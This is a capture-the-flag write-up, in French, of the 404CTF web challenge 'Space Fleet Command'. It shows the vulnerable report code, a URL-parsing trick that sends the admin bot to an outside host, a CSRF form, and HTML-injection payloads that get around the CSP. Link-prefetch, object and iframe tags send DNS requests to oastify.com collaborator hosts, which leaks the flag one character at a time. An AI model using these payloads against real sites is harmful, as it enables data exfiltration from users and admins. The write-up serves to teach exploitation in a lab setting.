Space Fleet Command
On commence par analyser le code de l’application.
On a un serveur nginx et un serveur web en JS.
Et on a une page pour report un problème, cela ressemble fort à une XSS avec exfiltration de cookie admin.
Cependant il y a un CSP a bypass :
res.setHeader("Content-Security-Policy", "default-src 'self'; script-src 'none';")
On a une injection dans message :
Extrait du fichier app.js
app.post('/report', (req, res) => {
const url = req.body.url;
if (!url) {
return res.status(400).send('Missing URL');
}
const path = extractPath(url);
if (!path) {
return res.render('pages/report', { message: `The URL <i>${url}</i> is not valid.` });
}
visit(path, TOKEN, CHALLENGE_HOST)
.then(() => {
res.render('pages/report', { message: `The page was visited by our admin. We'll get back to you soon.` });
})
.catch((error) => {
console.error('Error visiting URL:', error);
res.render('pages/report', { message: `An error occurred while visiting the URL <i>${url}</i>.` });
});
});
Fichier reports.ejs :
<%- include('../partials/header', { title: 'Report an Issue' }) %>
<section class="report-form">
<h2>🛑 Report Incorrect Information</h2>
<form action="/report" method="POST">
<label for="shipId">URL of the incorrect spaceship page</label>
<input id="url" name="url" required />
<label for="issue">What’s wrong?</label>
<textarea id="issue" name="issue" rows="5"></textarea>
<button type="submit">Send Report</button>
<% if (message) { %>
<div class="message">
<%- message %>
</div>
<% } %>
</form>
</section>
<%- include('../partials/footer') %>
Mais cela ne semble pas exploitable directement car le bot ne voit pas le message, a moins que.
On sait que url.parse est déprécié :
const parsedUrl = url.parse(urlString); //who cares about deprecation anyway
Et surtout on ne vérifie que « http: » et pas « http:// »
if (!(parsedUrl.protocol === 'http:' || parsedUrl.protocol === 'https:')) {
return null;
}
Après plusieurs essaies on découvre que :
http:@test.test/a ==> http://spacefleetcommand.404ctf.frt@test.test/a
http:@ahvce.free.beeceptor.com ==> http://spacefleetcommand.404ctf.frt@ahvce.free.beeceptor.com ==> Connexion sur ahvce.free.beepceptor.com
On peut donc rediriger le bot sur un endpoint de notre choix.
A partir de la, on peut exploiter une CSRF pour qu’il utilise lui même /report avec une url invalide mais qui contiendra notre « XSS ».
Notre CSRF :
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/report" method="POST">
<input type="hidden" name="url" value="XSS HERE" />
<input type="hidden" name="issue" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Mais il y a le CSP donc la XSS est impossible, on peut uniquement faire une injection HTML.
A partir de la, on peut faire chercher au bot le flag, et tenter d’exfiltrer le contenu.
La requête de recherche renvoie 200 si elle trouve un résultat et 404 si elle ne trouve rien.
Ce qu’on a trouvé de mieux :
https://www.cse.chalmers.se/research/group/security/pdf/data-exfiltration-in-the-face-of-csp.pdf
<object data="/?q=A" type="text/html" style="display:none">
<link rel=dns-prefetch" href="//6mt8nq844o86kz6wraswqmhbc2it6mub.oastify.com">
</object>
==> KO
<link rel="prefetch" as="stylesheet" href="http://ahvce.free.beeceptor.com/track"/ crossorigin="use-credentials">
==> KO
<meta http-equiv="refresh" content="0;url=https://ahvce.free.beeceptor.com/404"/>
==> fonctionne dans l'injection html pour redirect
<object data="/?q=FLAG" type="text/html" style="display:none">
<meta http-equiv="refresh" content="0;url=https://ahvce.free.beeceptor.com/404"/>
</object>
==> KO, redirection dans tous les cas que l'objet se charge ou pas
<embed src="/?q=S#ship" type="text/html">
<meta http-equiv="refresh" content="10;url=https://ahvce.free.beeceptor.com/fallback"/>
</embed>
==> KO, redirection dans tous les cas que l'embed se charge ou pas
<base href="https://ahvce.free.beeceptor.com/" target="_blank">
==> Ok mais inutile si on petu pas forcer soumission du formulaire, pas très utile
On utilise object qui se charge ou ne se charge pas selon le résultat 200 / 404, mais on ne trouve aucun moyen d’obtenir une exfiltration même en dns-prefetch.
On a trouvé ceci, peut être une dernière chance : https://github.com/cure53/HTTPLeaks/blob/main/leak.html
On envoie tout en CSRF au bot
Voici ce qui permet de faire des requêtes vers l’extérieur malgré la CSP :
<link rel="prerender" href="https://d1.ruptvbgpc9grskehzv0hy7pwknqeea2z.oastify.com/d" />
<link rel="dns-prefetch" href="https://d2.ruptvbgpc9grskehzv0hy7pwknqeea2z.oastify.com/link-dns-prefetch" />
<link rel="preconnect" href="https://d3.ruptvbgpc9grskehzv0hy7pwknqeea2z.oastify.com/link-preconnect">
<iframe src="https://d1231.zqtd6z8qv583fo446czyquji3990xqlf.oastify.com/test"></iframe>
Bon maintenant comment forcer son activation ou sa désactivation ?
On a remarque qu’iframe fait également une requête DNS, donc on va combiner object et iframe :
<object data="/?q=404CTF{aa">
<iframe src="https://a.3pt8qyt4pyvhqi4n5129llz9u00rojc8.oastify.com" loading="lazy">
</object>
Si pas de requête DNS, alors c’est le bon caractère.
On va donc les tester un par un avec ce CSRF qu’on héberge sur un serveur beeceptor.com, et on envoie le bot dessus grâce à http:@fleetcmd.free.beeceptor.com :
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://spacefleetcommand.404ctf.fr/report" method="POST">
<input type="hidden" name="url" value="<object data='/?q=404CTF{a1'><iframe src='https://1.ymo3ntqzmtscnd1i2wz4igw4rvxmljm7b.oastify.com' loading='lazy'></object>" />
<input type="hidden" name="issue" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Après 1h30 a faire des requêtes, alors qu’on aurait pu automatiser lol, on obtient le flag : 404CTF{a24beb7d0b425ee7}